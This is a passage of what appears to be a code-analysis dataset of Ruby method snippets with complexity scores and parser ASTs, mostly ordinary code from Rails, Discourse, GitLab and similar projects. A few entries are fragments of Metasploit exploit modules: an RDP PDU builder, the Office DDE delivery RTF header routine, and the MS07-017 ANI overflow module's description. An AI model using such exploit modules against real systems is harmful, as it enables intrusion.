":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"containers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_name\"]},\"to_s\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_name\"]}]},{\"type\":\"str\",\"children\":[\"-1\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"phase\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}","id":"9ad26f86-170f-4e75-869d-191d43fbf5f5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/rdp.rb","start_line":862,"raw_source":"def pdu_erect_domain_request\n    pdu =\n      \"\\x04\" +       # T.125 ErectDomainRequest\n      \"\\x01\\x00\" +   # subHeight - length 1, value 0\n      \"\\x01\\x00\"     # subInterval - length 1, value 0\n\n    build_data_tpdu(pdu)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pdu_erect_domain_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pdu\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0004\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0001\\u0000\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0001\\u0000\"]}]}]},{\"type\":\"send\",\"children\":[null,\"build_data_tpdu\",{\"type\":\"lvar\",\"children\":[\"pdu\"]}]}]}]}","id":"261d9f2b-0cc3-48c6-aa5f-d6ba4d561b04"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/zone.rb","start_line":95,"raw_source":"def assigned_roles\n    miq_servers.flat_map(&:assigned_roles).uniq.compact\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"assigned_roles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_servers\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"assigned_roles\"]}]}]},\"uniq\"]},\"compact\"]}]}","id":"2c5e28e6-208d-41d2-9cdc-3091065b9c9d"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/lib/action_text/fragment.rb","start_line":36,"raw_source":"def update\n      yield source = self.source.dup\n      self.class.new(source)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"source\"]},\"dup\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]}","id":"c38c2ab8-ff66-4d80-8d4c-6c7805a12b22"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":2043,"raw_source":"def test_should_not_update_children_when_parent_creation_with_no_reason\n    parrot = Parrot.create!(name: \"Polly\")\n    assert_equal 0, parrot.updated_count\n\n    Pirate.create!(parrot_ids: [parrot.id], catchphrase: \"Arrrr\")\n    assert_equal 0, parrot.reload.updated_count\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_update_children_when_parent_creation_with_no_reason\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parrot\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parrot\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Polly\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"updated_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parrot_ids\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Arrrr\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parrot\"]},\"reload\"]},\"updated_count\"]}]}]}]}","id":"8f74caba-1249-4090-89cf-589e5082f977"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/raise_args.rb","start_line":135,"raw_source":"def acceptable_exploded_args?(args)\n          # Allow code like `raise Ex.new(arg1, arg2)`.\n          return true if args.size > 1\n\n          # Disallow zero arguments.\n          return false if args.empty?\n\n          arg = args.first\n\n          # Allow nodes that may forward more than one argument\n          ACCEPTABLE_ARG_TYPES.include?(arg.type)\n        end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"acceptable_exploded_args?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ACCEPTABLE_ARG_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"type\"]}]}]}]}","id":"e17fe8e5-b9f0-4f8e-a982-981fa4a637a2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":941,"raw_source":"def trigger_post_process(\n    bypass_bump: false,\n    priority: :normal,\n    new_post: false,\n    skip_pull_hotlinked_images: false\n  )\n    args = {\n      bypass_bump: bypass_bump,\n      cooking_options: self.cooking_options,\n      new_post: new_post,\n      post_id: self.id,\n      skip_pull_hotlinked_images: skip_pull_hotlinked_images,\n    }\n\n    args[:image_sizes] = image_sizes if self.image_sizes.present?\n    args[:invalidate_oneboxes] = true if self.invalidate_oneboxes.present?\n    args[:queue] = priority.to_s if priority && priority != :normal\n\n    Jobs.enqueue(:process_post, args)\n    DiscourseEvent.trigger(:after_trigger_post_process, self)\n  end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_post_process\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"bypass_bump\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"priority\",{\"type\":\"sym\",\"children\":[\"normal\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"new_post\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"skip_pull_hotlinked_images\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bypass_bump\"]},{\"type\":\"lvar\",\"children\":[\"bypass_bump\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cooking_options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cooking_options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_post\"]},{\"type\":\"lvar\",\"children\":[\"new_post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_pull_hotlinked_images\"]},{\"type\":\"lvar\",\"children\":[\"skip_pull_hotlinked_images\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"image_sizes\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"image_sizes\"]},{\"type\":\"send\",\"children\":[null,\"image_sizes\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"invalidate_oneboxes\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"invalidate_oneboxes\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"priority\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"priority\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"normal\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"priority\"]},\"to_s\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"process_post\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"after_trigger_post_process\"]},{\"type\":\"self\",\"children\":[]}]}]}]}","id":"e90deba8-c842-427f-890c-a9f2035e9c82"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/fasp/data_sharing/v0/event_subscriptions_controller.rb","start_line":4,"raw_source":"def create\n    subscription = current_provider.fasp_subscriptions.create!(subscription_params)\n\n    render json: { subscription: { id: subscription.id } }, status: 201\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_provider\"]},\"fasp_subscriptions\"]},\"create!\",{\"type\":\"send\",\"children\":[null,\"subscription_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subscription\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription\"]},\"id\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[201]}]}]}]}]}]}","id":"0d470b8b-8351-46c7-90a5-f50c7b160631"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":18,"raw_source":"def with_dump_schemas(value, &block)\n    ActiveRecord.with(dump_schemas: value, &block)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_dump_schemas\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dump_schemas\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"1194a855-4c8d-4a1f-95c5-cc2254a03ea3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/transaction.rb","start_line":108,"raw_source":"def filter_labels(labels)\n        labels.empty? ? self.labels : labels.without(*FILTERED_LABEL_KEYS).merge(self.labels)\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_labels\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"labels\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"labels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"labels\"]},\"without\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FILTERED_LABEL_KEYS\"]}]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"labels\"]}]}]}]}","id":"6e16c45a-022f-422e-948d-d39a8d384a0c"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/base/converter.rb","start_line":79,"raw_source":"def create_step(step_class)\n      default_args = { settings: }\n\n      args = default_args.merge(step_args(step_class))\n      step_class.new(StepTracker.new, args)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_step\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"step_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"send\",\"children\":[null,\"settings\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_args\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"step_args\",{\"type\":\"lvar\",\"children\":[\"step_class\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"step_class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StepTracker\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"473a4912-8e66-4668-8f4a-84c7778eb30d"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/answerhub.rb","start_line":491,"raw_source":"def staff_guardian\n    @_staff_guardian ||= Guardian.new(Discourse.system_user)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"staff_guardian\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_staff_guardian\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]}]}]}]}","id":"8edba779-a288-4c36-9a2b-6094cc33bb58"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/uploader/tasks/optimizer.rb","start_line":173,"raw_source":"def process_upload(row, post)\n        result = with_retries { attempt_optimization(row, post) }\n        status_queue << (result || { id: row[:upload_id], status: :error })\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]},{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"attempt_optimization\",{\"type\":\"lvar\",\"children\":[\"row\"]},{\"type\":\"lvar\",\"children\":[\"post\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status_queue\"]},\"<<\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"upload_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}]}]}","id":"c0751dfc-f3aa-4d6f-8e5e-79b932c9982b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/office_dde_delivery.rb","start_line":117,"raw_source":"def retrieve_header(filename)\n    if (not datastore['INJECT_PATH'].nil?)\n      path = \"#{datastore['INJECT_PATH']}\"\n    else\n      path = nil\n    end\n    if (not path.nil?)\n      if ::File.file?(path)\n        ::File.open(path, 'rb') do |fd|\n          header = fd.read(fd.stat.size).split('{\\*\\datastore').first\n          header = header.to_s\n          print_status(\"Injecting #{path}...\")\n          return header\n        end\n      else\n        header = '{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}}' + \"\\n\"\n        header << '{\\*\\generator Riched20 6.3.9600}\\viewkind4\\uc1' + \"\\n\"\n        header << '\\pard\\sa200\\sl276\\slmult1\\f0\\fs22\\lang9' + \"\\n\"\n      end\n    else\n      header = '{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}}' + \"\\n\"\n      header << '{\\*\\generator Riched20 6.3.9600}\\viewkind4\\uc1' + \"\\n\"\n      header << '\\pard\\sa200\\sl276\\slmult1\\f0\\fs22\\lang9' + \"\\n\"\n    end\n    return header\n  end","complexity_score":49.0,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INJECT_PATH\"]}]},\"nil?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INJECT_PATH\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"{\\\\*\\\\datastore\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Injecting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\\\rtf1\\\\ansi\\\\ansicpg1252\\\\deff0\\\\nouicompat\\\\deflang1033{\\\\fonttbl{\\\\f0\\\\fnil\\\\fcharset0 Calibri;}}\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\\\*\\\\generator Riched20 6.3.9600}\\\\viewkind4\\\\uc1\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\pard\\\\sa200\\\\sl276\\\\slmult1\\\\f0\\\\fs22\\\\lang9\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\\\rtf1\\\\ansi\\\\ansicpg1252\\\\deff0\\\\nouicompat\\\\deflang1033{\\\\fonttbl{\\\\f0\\\\fnil\\\\fcharset0 Calibri;}}\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\\\*\\\\generator Riched20 6.3.9600}\\\\viewkind4\\\\uc1\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\pard\\\\sa200\\\\sl276\\\\slmult1\\\\f0\\\\fs22\\\\lang9\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]}]}]}]}","id":"90bd0817-ffdb-4503-a159-1e63c0043f67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/issues_resolver.rb","start_line":59,"raw_source":"def prepare_finder_params(args)\n      super.tap do |prepared|\n        prepared[:non_archived] = !prepared.delete(:include_archived)\n      end\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_finder_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prepared\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepared\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"non_archived\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prepared\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"include_archived\"]}]},\"!\"]}]}]}]}","id":"8ad218cb-63db-466d-9f73-175307a9443a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/settings/authentication/upsert.rb","start_line":22,"raw_source":"def self.invalid_provider_entry(entry)\n        entry.blank? ||\n          ::Authentication::Providers.available.map(&:to_s).exclude?(entry) ||\n          provider_keys_missing(entry)\n      end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"invalid_provider_entry\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Authentication\"]},\"Providers\"]},\"available\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},{\"type\":\"send\",\"children\":[null,\"provider_keys_missing\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]}]}","id":"70eb9a04-4313-4d1d-9d11-725909e8e6cf"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/world.rb","start_line":60,"raw_source":"def reset\n        RSpec::ExampleGroups.remove_all_constants\n        example_groups.clear\n        @sources_by_path.clear if defined?(@sources_by_path)\n        @syntax_highlighter = nil\n        @example_group_counts_by_spec_file = Hash.new(0)\n      end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"reset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"ExampleGroups\"]},\"remove_all_constants\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"example_groups\"]},\"clear\"]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sources_by_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sources_by_path\"]},\"clear\"]},null]},{\"type\":\"ivasgn\",\"children\":[\"@syntax_highlighter\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@example_group_counts_by_spec_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"513c8f24-b091-4d7a-be1d-004143f006a8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)',\n        'Description' => %q{\n          This module exploits a buffer overflow vulnerability in the\n          LoadAniIcon() function in USER32.dll. The flaw can be triggered through\n          Internet Explorer 6 and 7 by using the CURSOR style sheet directive\n          to load a malicious .ANI file. The module can also exploit Mozilla\n          Firefox by using a UNC path in a moz-icon URL and serving the .ANI file\n          over WebDAV. The vulnerable code in USER32.dll will catch any\n          exceptions that occur while the invalid cursor is loaded, causing the\n          exploit to silently fail when the wrong target has been chosen.\n\n          This vulnerability was discovered by Alexander Sotirov of Determina\n          and was rediscovered, in the wild, by McAfee.\n        },\n\n        'Author' => [\n          'hdm', # First version\n          'skape', # Vista support\n\n          # Firefox support, OS language independence, 